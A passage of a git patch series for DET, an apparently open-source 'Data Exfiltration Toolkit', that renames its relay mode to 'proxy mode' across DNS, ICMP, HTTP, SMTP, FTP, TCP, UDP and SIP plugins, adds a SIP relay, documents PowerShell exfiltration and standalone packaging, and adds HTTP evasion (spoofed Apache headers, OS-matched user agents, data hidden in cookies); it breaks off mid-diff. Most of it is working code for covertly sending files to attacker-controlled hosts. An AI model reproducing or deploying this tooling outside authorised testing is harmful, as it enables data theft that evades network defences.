socket.SOCK_DGRAM) - ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind(('', port)) dialog = SIPDialog() laddr = socket.gethostbyname(socket.getfqdn()) uac = UserAgent(caller, laddr, port=port) uas = UserAgent(callee, target, port=port) invite = dialog.invite(uac, uas, data) - lsock.bind(('', port)) - ssock.sendto(invite.pack(), (target, port)) + sock.sendto(invite.pack(), (target, port)) while True: try: - recv_data, addr = lsock.recvfrom(65535) + recv_data, addr = sock.recvfrom(65535) response = sip.Response() response.unpack(recv_data) if response.reason == 'Decline': ack = dialog.ack(response) - ssock.sendto(ack.pack(), (target, port)) - ssock.close() - lsock.close() + sock.sendto(ack.pack(), (target, port)) + sock.close() break else: continue From aab751c8ee846691da820643e10cc5d7b40b4bfb Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Tue, 16 May 2017 10:34:23 +0200 Subject: [PATCH 27/43] Rename Zombie-mode to Proxy-mode --- config-sample.json | 17 +++++++++-------- det.py | 12 ++++++------ plugins/dns.py | 12 ++++++------ plugins/ftp.py | 12 ++++++------ plugins/gmail.py | 6 +++--- plugins/google_docs.py | 6 +++--- plugins/http.py | 12 ++++++------ plugins/icmp.py | 12 ++++++------ plugins/sip.py | 10 +++++++--- plugins/slack.py | 6 +++--- plugins/smtp.py | 12 ++++++------ plugins/tcp.py | 15 +++++++-------- plugins/twitter.py | 6 +++--- plugins/udp.py | 12 ++++++------ 14 files changed, 77 insertions(+), 73 deletions(-) diff --git a/config-sample.json b/config-sample.json index 74f8fd7..e1a28cc 100644 --- a/config-sample.json +++ b/config-sample.json @@ -3,7 +3,7 @@ "http": { "target": "192.168.0.12", "port": 8080, - "zombies": ["192.168.0.13", "192.168.0.14"] + "proxies": ["192.168.0.13", "192.168.0.14"] }, "google_docs": { "target": "conchwaiter.uk.plak.cc", @@ -13,7 +13,7 @@ "key": "google.com", "target": "192.168.0.12", "port": 53, - "zombies": ["192.168.0.13", "192.168.0.14"] + "proxies": ["192.168.0.13", "192.168.0.14"] }, "gmail": { "username": "dataexfil@gmail.com", @@ -24,12 +24,12 @@ "tcp": { "target": "192.168.0.12", "port": 6969, - "zombies": ["192.168.0.13", "192.168.0.14"] + "proxies": ["192.168.0.13", "192.168.0.14"] }, "udp": { "target": "192.168.0.12", "port": 6969, - "zombies": ["192.168.0.13", "192.168.0.14"] + "proxies": ["192.168.0.13", "192.168.0.14"] }, "twitter": { "username": "PaulWebSec", @@ -40,7 +40,7 @@ }, "icmp": { "target": "192.168.0.12", - "zombies": ["192.168.0.13", "192.168.0.14"] + "proxies": ["192.168.0.13", "192.168.0.14"] }, "slack": { "api_token": "xoxb-XXXXXXXXXXX", @@ -50,16 +50,17 @@ "smtp": { "target": "192.168.0.12", "port": 25, - "zombies": ["192.168.0.13", "192.168.0.14"] + "proxies": ["192.168.0.13", "192.168.0.14"] }, "ftp": { "target": "192.168.0.12", "port": 21, - "zombies": ["192.168.0.13", "192.168.0.14"] + "proxies": ["192.168.0.13", "192.168.0.14"] }, "sip": { "target": "192.168.0.12", - "port": 5060 + "port": 5060, + "proxies": ["192.168.0.13", "192.168.0.14"] } }, "AES_KEY": "THISISACRAZYKEY", diff --git a/det.py b/det.py index bee6aaa..1b8f004 100644 --- a/det.py +++ b/det.py @@ -315,7 +315,7 @@ def main(): global threads, config parser = argparse.ArgumentParser( - description='Data Exfiltration Toolkit (SensePost)') + description='Data Exfiltration Toolkit (Conix-Security)') parser.add_argument('-c', action="store", dest="config", default=None, help="Configuration file (eg. '-c ./config-sample.json')") parser.add_argument('-f', action="store", dest="file", @@ -330,7 +330,7 @@ def main(): listenMode.add_argument('-L', action="store_true", dest="listen", default=False, help="Server mode") listenMode.add_argument('-Z', action="store_true", - dest="zombie", default=False, help="Zombie mode") + dest="proxy", default=False, help="Proxy mode") results = parser.parse_args() if (results.config is None): @@ -353,15 +353,15 @@ def main(): KEY = config['AES_KEY'] app = Exfiltration(results, KEY) - # LISTEN/ZOMBIE MODE - if (results.listen or results.zombie): + # LISTEN/PROXY MODE + if (results.listen or results.proxy): threads = [] plugins = app.get_plugins() for plugin in plugins: if results.listen: thread = threading.Thread(target=plugins[plugin]['listen']) - elif results.zombie: - thread = threading.Thread(target=plugins[plugin]['zombie']) + elif results.proxy: + thread = threading.Thread(target=plugins[plugin]['proxy']) thread.daemon = True thread.start() threads.append(thread) diff --git a/plugins/dns.py b/plugins/dns.py index 04d19fc..61885fd 100644 --- a/plugins/dns.py +++ b/plugins/dns.py @@ -35,7 +35,7 @@ def relay_dns_query(domain): target = config['target'] port = config['port'] app_exfiltrate.log_message( - 'info', "[zombie] [dns] Relaying dns query to {0}".format(target)) + 'info', "[proxy] [dns] Relaying dns query to {0}".format(target)) q = DNSRecord.question(domain) try: q.send(target, port, timeout=0.01) @@ -61,8 +61,8 @@ def sniff(handler): #Max query is 253 characters long (textual representation) #Max label length is 63 bytes def send(data): - if config.has_key('zombies') and config['zombies'] != [""]: - targets = [config['target']] + config['zombies'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] else: targets = [config['target']] port = config['port'] @@ -107,14 +107,14 @@ def listen(): 'info', "[dns] Waiting for DNS packets for domain {0}".format(config['key'])) sniff(handler=handle_dns_query) -def zombie(): +def proxy(): app_exfiltrate.log_message( - 'info', "[zombie] [dns] Waiting for DNS packets for domain {0}".format(config['key'])) + 'info', "[proxy] [dns] Waiting for DNS packets for domain {0}".format(config['key'])) sniff(handler=relay_dns_query) class Plugin: def __init__(self, app, conf): global app_exfiltrate, config config = conf - app.register_plugin('dns', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('dns', {'send': send, 'listen': listen, 'proxy': proxy}) app_exfiltrate = app diff --git a/plugins/ftp.py b/plugins/ftp.py index 03a2156..0c6b588 100644 --- a/plugins/ftp.py +++ b/plugins/ftp.py @@ -26,8 +26,8 @@ def ftp_MKD(self, path): return path def send(data): - if config.has_key('zombies') and config['zombies'] != [""]: - targets = [config['target']] + config['zombies'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] target = choice(targets) else: target = config['target'] @@ -47,7 +47,7 @@ def send(data): def relay_ftp_mkdir(data): target = config['target'] port = config['port'] - app_exfiltrate.log_message('info', "[zombie] [ftp] Relaying MKDIR query to {}".format(target)) + app_exfiltrate.log_message('info', "[proxy] [ftp] Relaying MKDIR query to {}".format(target)) try: ftp = FTP() ftp.connect(target, port) @@ -75,8 +75,8 @@ def listen(): app_exfiltrate.log_message('info', "[ftp] Listening for FTP requests") init_ftp("retrieve") -def zombie(): - app_exfiltrate.log_message('info', "[zombie] [ftp] Listening for FTP requests") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [ftp] Listening for FTP requests") init_ftp("relay") class Plugin: @@ -85,4 +85,4 @@ def __init__(self, app, conf): global app_exfiltrate, config app_exfiltrate = app config = conf - app.register_plugin('ftp', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('ftp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/gmail.py b/plugins/gmail.py index 30b1bf1..bfbcfb2 100644 --- a/plugins/gmail.py +++ b/plugins/gmail.py @@ -66,8 +66,8 @@ def listen(): time.sleep(2) -def zombie(): - app_exfiltrate.log_message('info', "[zombie] [gmail] Zombie mode unavailable (useless) for gmail plugion...") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [gmail] proxy mode unavailable (useless) for gmail plugin...") class Plugin: @@ -78,5 +78,5 @@ def __init__(self, app, options): gmail_user = options['username'] server = options['server'] server_port = options['port'] - app.register_plugin('gmail', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('gmail', {'send': send, 'listen': listen, 'proxy': proxy}) app_exfiltrate = app diff --git a/plugins/google_docs.py b/plugins/google_docs.py index b32f641..726e93e 100644 --- a/plugins/google_docs.py +++ b/plugins/google_docs.py @@ -16,8 +16,8 @@ def send(data): def listen(): app_exfiltrate.log_message('info', "[Google docs] Listen mode not implemented") -def zombie(): - app_exfiltrate.log_message('info', "[zombie] [Google docs] Zombie mode not implemented") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [Google docs] proxy mode not implemented") class Plugin: @@ -25,4 +25,4 @@ def __init__(self, app, conf): global app_exfiltrate, config config = conf app_exfiltrate = app - app.register_plugin('google_docs', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('google_docs', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/http.py b/plugins/http.py index 5135240..54f4dd2 100644 --- a/plugins/http.py +++ b/plugins/http.py @@ -36,8 +36,8 @@ def do_GET(self): pass def send(data): - if config.has_key('zombies') and config['zombies'] != [""]: - targets = [config['target']] + config['zombies'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] target = "http://{}:{}".format(choice(targets), config['port']) else: target = "http://{}:{}".format(config['target'], config['port']) @@ -49,7 +49,7 @@ def send(data): def relay_http_request(data): target = "http://{}:{}".format(config['target'], config['port']) app_exfiltrate.log_message( - 'info', "[zombie] [http] Relaying {0} bytes to {1}".format(len(data), target)) + 'info', "[proxy] [http] Relaying {0} bytes to {1}".format(len(data), target)) data_to_send = {'data': base64.b64encode(data)} requests.post(target, data=data_to_send) @@ -67,8 +67,8 @@ def listen(): app_exfiltrate.log_message('info', "[http] Starting httpd...") server(app_exfiltrate.retrieve_data) -def zombie(): - app_exfiltrate.log_message('info', "[zombie] [http] Starting httpd...") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [http] Starting httpd...") server(relay_http_request) class Plugin: @@ -76,4 +76,4 @@ def __init__(self, app, conf): global app_exfiltrate, config config = conf app_exfiltrate = app - app.register_plugin('http', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('http', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/icmp.py b/plugins/icmp.py index 680acb0..686235b 100644 --- a/plugins/icmp.py +++ b/plugins/icmp.py @@ -28,8 +28,8 @@ def send_icmp(dst, data): s.close() def send(data): - if config.has_key('zombies') and config['zombies'] != [""]: - targets = [config['target']] + config['zombies'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] target = choice(targets) else: target = config['target'] @@ -73,14 +73,14 @@ def relay_icmp_packet(payload, src, dst): target = config['target'] try: app_exfiltrate.log_message( - 'info', "[zombie] [icmp] Relaying icmp packet to {0}".format(target)) + 'info', "[proxy] [icmp] Relaying icmp packet to {0}".format(target)) send_icmp(target, payload) except: pass -def zombie(): +def proxy(): app_exfiltrate.log_message( - 'info', "[zombie] [icmp] Listening for icmp packets") + 'info', "[proxy] [icmp] Listening for icmp packets") sniff(handler=relay_icmp_packet) class Plugin: @@ -88,4 +88,4 @@ def __init__(self, app, conf): global app_exfiltrate, config app_exfiltrate = app config = conf - app.register_plugin('icmp', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('icmp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/sip.py b/plugins/sip.py index de92ae7..5a9dfa0 100644 --- a/plugins/sip.py +++ b/plugins/sip.py @@ -209,7 +209,11 @@ def listen(): pass def send(data): - target = config['target'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] + target = choice(targets) + else: + target = config['target'] port = config['port'] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('', port)) @@ -235,7 +239,7 @@ def send(data): pass break -def zombie(): +def proxy(): pass class Plugin: @@ -244,4 +248,4 @@ def __init__(self, app, conf): global app_exfiltrate, config app_exfiltrate = app config = conf - app.register_plugin('sip', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('sip', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/slack.py b/plugins/slack.py index 5b2dfed..35e4b2e 100644 --- a/plugins/slack.py +++ b/plugins/slack.py @@ -31,8 +31,8 @@ def listen(): else: app_exfiltrate.log_message('warning', "Connection Failed, invalid token?") -def zombie(): - app_exfiltrate.log_message('info', "[zombie] [slack] Zombie mode unavailable (useless) for Slack plugin") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [slack] proxy mode unavailable (useless) for Slack plugin") class Plugin: @@ -40,5 +40,5 @@ def __init__(self, app, conf): global app_exfiltrate, config, sc sc = SlackClient(conf['api_token']) config = conf - app.register_plugin('slack', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('slack', {'send': send, 'listen': listen, 'proxy': proxy}) app_exfiltrate = app diff --git a/plugins/smtp.py b/plugins/smtp.py index bd5ec66..186a868 100644 --- a/plugins/smtp.py +++ b/plugins/smtp.py @@ -25,8 +25,8 @@ def process_message(self, peer, mailfrom, rcpttos, data): pass def send(data): - if config.has_key('zombies') and config['zombies'] != [""]: - targets = [config['target']] + config['zombies'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] target = choice(targets) else: target = config['target'] @@ -54,7 +54,7 @@ def relay_email(data): msg['Subject'] = subject server = smtplib.SMTP(target, port) try: - app_exfiltrate.log_message('info', "[zombie] [smtp] Relaying email to {}".format(target)) + app_exfiltrate.log_message('info', "[proxy] [smtp] Relaying email to {}".format(target)) server.sendmail(author, [recipient], msg.as_string()) except: pass @@ -68,9 +68,9 @@ def listen(): server.handler = app_exfiltrate.retrieve_data asyncore.loop() -def zombie(): +def proxy(): port = config['port'] - app_exfiltrate.log_message('info', "[zombie] [smtp] Starting SMTP server on port {}".format(port)) + app_exfiltrate.log_message('info', "[proxy] [smtp] Starting SMTP server on port {}".format(port)) server = CustomSMTPServer(('', port), None) server.handler = relay_email asyncore.loop() @@ -81,4 +81,4 @@ def __init__(self, app, conf): global app_exfiltrate, config config = conf app_exfiltrate = app - app.register_plugin('smtp', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('smtp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/tcp.py b/plugins/tcp.py index bc1670b..7f9d3c8 100644 --- a/plugins/tcp.py +++ b/plugins/tcp.py @@ -6,8 +6,8 @@ app_exfiltrate = None def send(data): - if config.has_key('zombies') and config['zombies'] != [""]: - targets = [config['target']] + config['zombies'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] target = choice(targets) else: target = config['target'] @@ -20,6 +20,7 @@ def send(data): client_socket.close() def listen(): + app_exfiltrate.log_message('info', "[tcp] Waiting for connections...") sniff(handler=app_exfiltrate.retrieve_data) def sniff(handler): @@ -38,7 +39,6 @@ def sniff(handler): sys.exit(-1) while True: - app_exfiltrate.log_message('info', "[tcp] Waiting for connections...") connection, client_address = sock.accept() try: app_exfiltrate.log_message( @@ -50,7 +50,6 @@ def sniff(handler): 'info', "[tcp] Received {} bytes".format(len(data))) try: data = data.decode('hex') - #app_exfiltrate.retrieve_data(data) handler(data) except Exception, e: app_exfiltrate.log_message( @@ -64,14 +63,14 @@ def relay_tcp_packet(data): target = config['target'] port = config['port'] app_exfiltrate.log_message( - 'info', "[zombie] [tcp] Relaying {0} bytes to {1}".format(len(data), target)) + 'info', "[proxy] [tcp] Relaying {0} bytes to {1}".format(len(data), target)) client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((target, port)) client_socket.send(data.encode('hex')) client_socket.close() -def zombie(): - app_exfiltrate.log_message('info', "[zombie] [tcp] Waiting for connections...") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [tcp] Waiting for connections...") sniff(handler=relay_tcp_packet) class Plugin: @@ -81,4 +80,4 @@ def __init__(self, app, conf): global app_exfiltrate config = conf app_exfiltrate = app - app.register_plugin('tcp', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('tcp', {'send': send, 'listen': listen, 'proxy': proxy}) diff --git a/plugins/twitter.py b/plugins/twitter.py index d7ca7d5..7ea4899 100644 --- a/plugins/twitter.py +++ b/plugins/twitter.py @@ -67,8 +67,8 @@ def listen(): app_exfiltrate.log_message( 'warning', "[twitter] Couldn't listen for Twitter DMs".format(e)) -def zombie(): - app_exfiltrate.log_message('info', "[zombie] [twitter] Zombie mode unavailable (useless) for twitter plugin...") +def proxy(): + app_exfiltrate.log_message('info', "[proxy] [twitter] proxy mode unavailable (useless) for twitter plugin...") class Plugin: @@ -76,5 +76,5 @@ def __init__(self, app, conf): global app_exfiltrate, config, USERNAME config = conf USERNAME = config['username'] - app.register_plugin('twitter', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('twitter', {'send': send, 'listen': listen, 'proxy': proxy}) app_exfiltrate = app diff --git a/plugins/udp.py b/plugins/udp.py index 4cebf05..244e8eb 100644 --- a/plugins/udp.py +++ b/plugins/udp.py @@ -7,8 +7,8 @@ def send(data): - if config.has_key('zombies') and config['zombies'] != [""]: - targets = [config['target']] + config['zombies'] + if config.has_key('proxies') and config['proxies'] != [""]: + targets = [config['target']] + config['proxies'] target = choice(targets) else: target = config['target'] @@ -61,13 +61,13 @@ def relay_dns_packet(data): target = config['target'] port = config['port'] app_exfiltrate.log_message( - 'info', "[zombie] [udp] Relaying {0} bytes to {1}".format(len(data), target)) + 'info', "[proxy] [udp] Relaying {0} bytes to {1}".format(len(data), target)) client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client_socket.sendto(data.encode('hex'), (target, port)) -def zombie(): +def proxy(): app_exfiltrate.log_message( - 'info', "[zombie] [udp] Listening for udp packets") + 'info', "[proxy] [udp] Listening for udp packets") sniff(handler=relay_dns_packet) @@ -78,4 +78,4 @@ def __init__(self, app, conf): global app_exfiltrate config = conf app_exfiltrate = app - app.register_plugin('udp', {'send': send, 'listen': listen, 'zombie': zombie}) + app.register_plugin('udp', {'send': send, 'listen': listen, 'proxy': proxy}) From f6fa2e9a1717fba522c7be7c7d38217e2f72e245 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Tue, 16 May 2017 10:49:00 +0200 Subject: [PATCH 28/43] Update README --- README.md | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 86cae38..ffc9430 100644 --- a/README.md +++ b/README.md @@ -103,9 +103,9 @@ passphrase and so on). A configuration example file has been provided and is cal ```bash python det.py -h usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE] - [-L] + [-L | -Z] -Data Exfiltration Toolkit (SensePost) +Data Exfiltration Toolkit (Conix-Security) optional arguments: -h, --help show this help message and exit @@ -115,7 +115,7 @@ optional arguments: -p PLUGIN Plugins to use (eg. '-p dns,twitter') -e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp') -L Server mode - -Z Zombie mode + -Z Proxy mode ``` ## Server-side: @@ -165,11 +165,9 @@ PS C:\Users\user01\Desktop> . .\http_exfil.ps1 PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe' ``` -## Zombie mode: +## Proxy mode: -In this mode the client is also a server. - -The zombie waits for incoming packets, and relays them to the final server. +In this mode the client will proxify the incoming requests towards the final destination. # Modules @@ -178,14 +176,17 @@ So far, DET supports multiple protocols, listed here: - [X] HTTP(S) - [X] ICMP - [X] DNS -- [X] SMTP/IMAP (eg. Gmail) -- [X] Raw TCP +- [X] SMTP/IMAP (Pure SMTP + Gmail) +- [X] Raw TCP / UDP +- [X] FTP +- [X] SIP - [X] PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail)) And other "services": - [X] Google Docs (Unauthenticated) - [X] Twitter (Direct Messages) +- [X] Slack # Experimental modules @@ -199,9 +200,9 @@ So far, I am busy implementing new modules which are almost ready to ship, inclu - [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro) - [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint) -- [X] Add support for C&C-like multi-host file exfiltration (Zombie mode) +- [X] Add support for C&C-like multi-host file exfiltration (Proxy mode) - [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify) -- [ ] FTP, FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules +- [ ] FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules # References From de3e52d97014a685d98505519085d44ed7825e16 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Tue, 16 May 2017 10:27:16 +0200 Subject: [PATCH 29/43] Implement proxy mode in SIP plugin --- plugins/sip.py | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/plugins/sip.py b/plugins/sip.py index 5a9dfa0..232092b 100644 --- a/plugins/sip.py +++ b/plugins/sip.py @@ -8,6 +8,7 @@ import random import base64 import re +from random import choice import traceback config = None @@ -178,6 +179,7 @@ def ack(self, message): return packet def listen(): + app_exfiltrate.log_message('info', "[sip] Listening for incoming calls") port = config['port'] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('', port)) @@ -202,6 +204,7 @@ def listen(): [boundary] = re.findall(parser, req.headers['content-type']) #Hackish payload isolation payload = req.body.split('--'+boundary)[-2].split('\r\n')[-2] + app_exfiltrate.log_message('info', "[sip] Received {0} bytes from {1}".format(len(payload), addr[0])) app_exfiltrate.retrieve_data(base64.b64decode(payload)) except Exception as e: print traceback.format_exc() @@ -222,6 +225,7 @@ def send(data): uac = UserAgent(caller, laddr, port=port) uas = UserAgent(callee, target, port=port) invite = dialog.invite(uac, uas, data) + app_exfiltrate.log_message('info', "[sip] Sending {0} bytes to {1}".format(len(data), target)) sock.sendto(invite.pack(), (target, port)) while True: try: @@ -240,7 +244,25 @@ def send(data): break def proxy(): - pass + app_exfiltrate.log_message('info', "[proxy] [sip] Starting SIP proxy") + target = config['target'] + port = config['port'] + sender = "" + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.bind(('', port)) + while True: + data, addr = sock.recvfrom(65535) + if addr[0] != target: + sender = addr[0] + try: + if addr[0] == target: + app_exfiltrate.log_message('info', "[proxy] [sip] Relaying data to {0}".format(target)) + sock.sendto(data, (sender, port)) + else: + app_exfiltrate.log_message('info', "[proxy] [sip] Relaying data to {0}".format(sender)) + sock.sendto(data, (target, port)) + except: + print traceback.format_exc() class Plugin: From ebd49a7203f6c2b7e30bc363eef0db998725d3ee Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Sat, 10 Jun 2017 18:04:05 +0200 Subject: [PATCH 30/43] Update README - Update roadmap - Add example of proxy usage - Add description of how to package DET with PyInstaller --- README.md | 135 +++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 97 insertions(+), 38 deletions(-) diff --git a/README.md b/README.md index ffc9430..a1da1a8 100644 --- a/README.md +++ b/README.md @@ -48,51 +48,58 @@ pip install -r requirements.txt --user # Configuration In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption -passphrase and so on). A configuration example file has been provided and is called: ```config-sample.json``` +passphrase, proxies and so on). A configuration example file has been provided and is called: ```config-sample.json``` ```json { "plugins": { "http": { - "target": "192.168.1.101", - "port": 8080 - }, - "google_docs": { - "target": "192.168.1.101", + "target": "192.168.0.12", "port": 8080, + "proxies": ["192.168.0.13", "192.168.0.14"] }, + "google_docs": { + "target": "conchwaiter.uk.plak.cc", + "port": 8080 + }, "dns": { "key": "google.com", - "target": "192.168.1.101", - "port": 53 + "target": "192.168.0.12", + "port": 53, + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "gmail": { - "username": "dataexfil@gmail.com", - "password": "ReallyStrongPassword", - "server": "smtp.gmail.com", - "port": 587 +[...SNIP...] + "icmp": { + "target": "192.168.0.12", + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "tcp": { - "target": "192.168.1.101", - "port": 6969 + "slack": { + "api_token": "xoxb-XXXXXXXXXXX", + "chan_id": "XXXXXXXXXXX", + "bot_id": "<@XXXXXXXXXXX>:" }, - "udp": { - "target": "192.168.1.101", - "port": 6969 + "smtp": { + "target": "192.168.0.12", + "port": 25, + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "twitter": { - "username": "PaulWebSec", - "CONSUMER_TOKEN": "XXXXXXXXX", - "CONSUMER_SECRET": "XXXXXXXXX", - "ACCESS_TOKEN": "XXXXXXXXX", - "ACCESS_TOKEN_SECRET": "XXXXXXXXX" + "ftp": { + "target": "192.168.0.12", + "port": 21, + "proxies": ["192.168.0.13", "192.168.0.14"] }, - "icmp": { - "target": "192.168.1.101" + "sip": { + "target": "192.168.0.12", + "port": 5060, + "proxies": ["192.168.0.13", "192.168.0.14"] } }, "AES_KEY": "THISISACRAZYKEY", - "sleep_time": 10 + "max_time_sleep": 10, + "min_time_sleep": 1, + "max_bytes_read": 400, + "min_bytes_read": 300, + "compression": 1 } ``` @@ -168,6 +175,65 @@ PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe' ## Proxy mode: In this mode the client will proxify the incoming requests towards the final destination. +The proxies addresses should be set in ```config.json``` file. + +```bash +python det.py -c ./config.json -p dns,icmp -Z +``` + +# Standalone package + +DET has been adapted in order to run as a standalone executable with the help of [PyInstaller](http://www.pyinstaller.org/). + +```bash +pip install pyinstaller +``` + +The spec file ```det.spec``` is provided in order to help you build your executable. + +```python +# -*- mode: python -*- + +block_cipher = None + +import sys +sys.modules['FixTk'] = None + +a = Analysis(['det.py'], + pathex=['.'], + binaries=[], + datas=[('plugins', 'plugins'), ('config-sample.json', '.')], + hiddenimports=['plugins/dns', 'plugins/icmp'], + hookspath=[], + runtime_hooks=[], + excludes=['FixTk', 'tcl', 'tk', '_tkinter', 'tkinter', 'Tkinter'], + win_no_prefer_redirects=False, + win_private_assemblies=False, + cipher=block_cipher) +pyz = PYZ(a.pure, a.zipped_data, + cipher=block_cipher) +exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name='det', + debug=False, + strip=False, + upx=True, + console=True ) +``` + +Specify the modules you need to ship with you executable by editing the ```hiddenimports``` array. +In the example above, PyInstaller will package the DNS and ICMP plugins along with your final executable. +Finally, launch PyInstaller: + +```base +pyinstaller det.spec +``` + +Please note that the number of loaded plugins will reflect on the size of the final executable. +If you have issues with the generated executable or found a workaround for a tricky situation, please open an issue so this guide can be updated for everyone. # Modules @@ -188,19 +254,13 @@ And other "services": - [X] Twitter (Direct Messages) - [X] Slack -# Experimental modules - -So far, I am busy implementing new modules which are almost ready to ship, including: - -- [ ] Skype (95% done) -- [ ] Tor (80% done) -- [ ] Github (30/40% done) - # Roadmap - [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro) - [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint) - [X] Add support for C&C-like multi-host file exfiltration (Proxy mode) +- [ ] Discovery mode (where distributed agents can learn about the presence of each other) +- [ ] Egress traffic testing - [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify) - [ ] FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules @@ -217,10 +277,9 @@ Some pretty cool references/credits to people I got inspired by with their proje # Contact/Contributing -You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec). +You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec) (original author) or [@therealnisay](https://twitter.com/therealnisay) (maintainer of this repo). Feel free if you want to contribute, clone, fork, submit your PR and so on. # License DET is licensed under a [MIT License](https://opensource.org/licenses/MIT). -Permissions beyond the scope of this license may be available at [info@sensepost.com](info@sensepost.com) From dcb0c797906d6bc98acb9a37260ade20ea3f94e6 Mon Sep 17 00:00:00 2001 From: Yassine Tioual Date: Thu, 29 Jun 2017 15:36:42 +0200 Subject: [PATCH 31/43] Improvements in http plugin - Change the 'Server' header in responses to simulate an Apache server - Change 'User-Agent' header in requests to match the underlying OS - Randomly switch between GET and POST when sending data - Send data over cookies in GET requests - Server sends defaut Apache page as responses --- plugins/http.py | 55 +++- plugins/misc/default_apache_page.html | 364 ++++++++++++++++++++++++++ 2 files changed, 408 insertions(+), 11 deletions(-) create mode 100644 plugins/misc/default_apache_page.html diff --git a/plugins/http.py b/plugins/http.py index 54f4dd2..f940c1b 100644 --- a/plugins/http.py +++ b/plugins/http.py @@ -3,6 +3,22 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import urllib from random import choice +import platform + +host_os = platform.system() + +if host_os == "Linux": + user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" +elif host_os == "Windows": + user_agent = "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko" +else: + user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7" + +headers = requests.utils.default_headers() +headers.update({'User-Agent': user_agent}) + +html_file = open('plugins/misc/default_apache_page.html', 'r') +html_content = html_file.read() config = None app_exfiltrate = None @@ -12,12 +28,16 @@ def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() + self.wfile.write(html_content) + + def version_string(self): + return 'Apache/2.4.10' def do_POST(self): self._set_headers() content_len = int(self.headers.getheader('content-length', 0)) post_body = self.rfile.read(content_len) - tmp = post_body.split('=') + tmp = post_body.split('=', 1) if (tmp[0] == "data"): try: data = base64.b64decode(urllib.unquote(tmp[1])) @@ -27,13 +47,16 @@ def do_POST(self): pass def do_GET(self): - string = '/'.join(self.path.split('/')[1:]) self._set_headers() - try: - data = base64.b64decode(string) - self.server.handler(data) - except Exception, e: - pass + if 